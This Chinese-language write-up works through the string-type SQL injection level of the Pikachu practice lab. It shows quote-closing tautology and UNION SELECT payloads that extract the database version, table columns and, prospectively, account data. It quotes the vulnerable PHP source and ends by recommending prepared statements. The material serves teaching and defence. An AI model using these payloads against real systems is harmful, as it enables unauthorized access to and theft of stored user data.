摘要 / 前言:
上一关我们完成了数字型注入,这一关是 字符型注入(String/Character Injection)。这是 SQL 注入中最常见的情形。与数字型不同,字符型注入的参数在 SQL 语句中是被单引号(或双引号)包裹的。如果我们的 Payload 不闭合这个引号,数据库会将我们的攻击代码视为普通的字符串处理,从而导致攻击失败。
一、漏洞分析与判断
打开页面,提示 “what’s your username?”,这是一个根据用户名查询信息的输入框。
1. 尝试数字型 Payload(失败)
首先尝试像上一关那样直接输入逻辑判断:
- Payload:
kobe or 1=1 - 结果: 提示 “ 您输入的 username 不存在,请重新输入!”。
- 原因: 后端 SQL 语句大概率写成了
WHERE username = 'kobe or 1=1'。整个字符串被当作用户名去查找,当然找不到。
2. 尝试字符型 Payload(成功)
为了让数据库执行我们的逻辑,必须先把原本的单引号闭合掉,然后再把后面的引号注释掉。
- Payload:
sql 123'or 1=1--+
(注:123是随意输入的用户名,'用于闭合前面的引号,--+用于注释掉后面多余的引号,+在 URL 中代表空格) - 结果: 页面显示了所有用户的信息(如
vince,allen,kobe等)。这证明了or 1=1逻辑生效,存在字符型 SQL 注入。

二、注入利用过程
后续步骤与数字型注入类似,唯一的区别是每次构造 Payload 时,都需要以 ' 开头闭合前面的字符串,并以 --+ 结尾注释掉尾部。
1. 获取数据库版本信息 (Union Select)
首先通过 order by 确认字段数为 2(步骤略,同上一关)。然后使用联合查询获取数据库名和版本。
- Payload:
name=123'+union+select+database(),version()--+&submit=%E6%9F%A5%E8%AF%A2 - 结果回显:
> your uid: pikachu
> your email is: 5.7.26-0ubuntu0.18.04.1-log
2. 获取表结构 (Table Schema)
获取 member 表的列名。
- Payload:
123'+union+select+database(),group_concat(column_name)+from+information_schema.columns+where+table_schema='pikachu'+and+table_name='member'--+ - 结果: 成功获取列名,接下来即可根据列名 dump 出所有账号密码数据。

三、源码深度分析
通过查看后端源码,我们可以清楚地看到字符型注入的成因。
核心代码段:
if(isset($_GET['submit']) && $_GET['name']!=null){
// 1. 接收参数,未做任何过滤
$name=$_GET['name'];
// 2. 拼接 SQL 语句
// 注意这里:变量 $name 被单引号 '' 包裹住了
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
// ... 后续输出逻辑...
}
解析:
当输入 $name = 123 时,SQL 语句变为:select ... where username='123' (正常)
当输入 $name = 123' or 1=1--+ 时,SQL 语句变为:
select ... where username='123' or 1=1--+'
- 红色部分的
'和代码中的第一个'组成了一对,构成了完整的字符串'123'。 - 中间的
or 1=1变成了可执行的逻辑代码。 - 最后的
--+把代码中原本用于闭合的末尾单引号注释掉了,从而避免语法错误。
四、总结与防御
数字型 vs 字符型:
- 数字型:
id = $id-> 不需要闭合引号,利用简单。 - 字符型:
username = '$name'-> 需要构造'闭合前方,并使用--+或#注释后方。
防御措施:
依然是强调使用 预编译语句(Prepared Statements)。在预编译模式下,数据库会将用户输入严格视为“参数”或“纯文本”,无论输入中包含多少单引号或 SQL 关键字,都不会改变 SQL 语句原本的逻辑结构。
下一篇预告:SQL Inject (搜索型注入)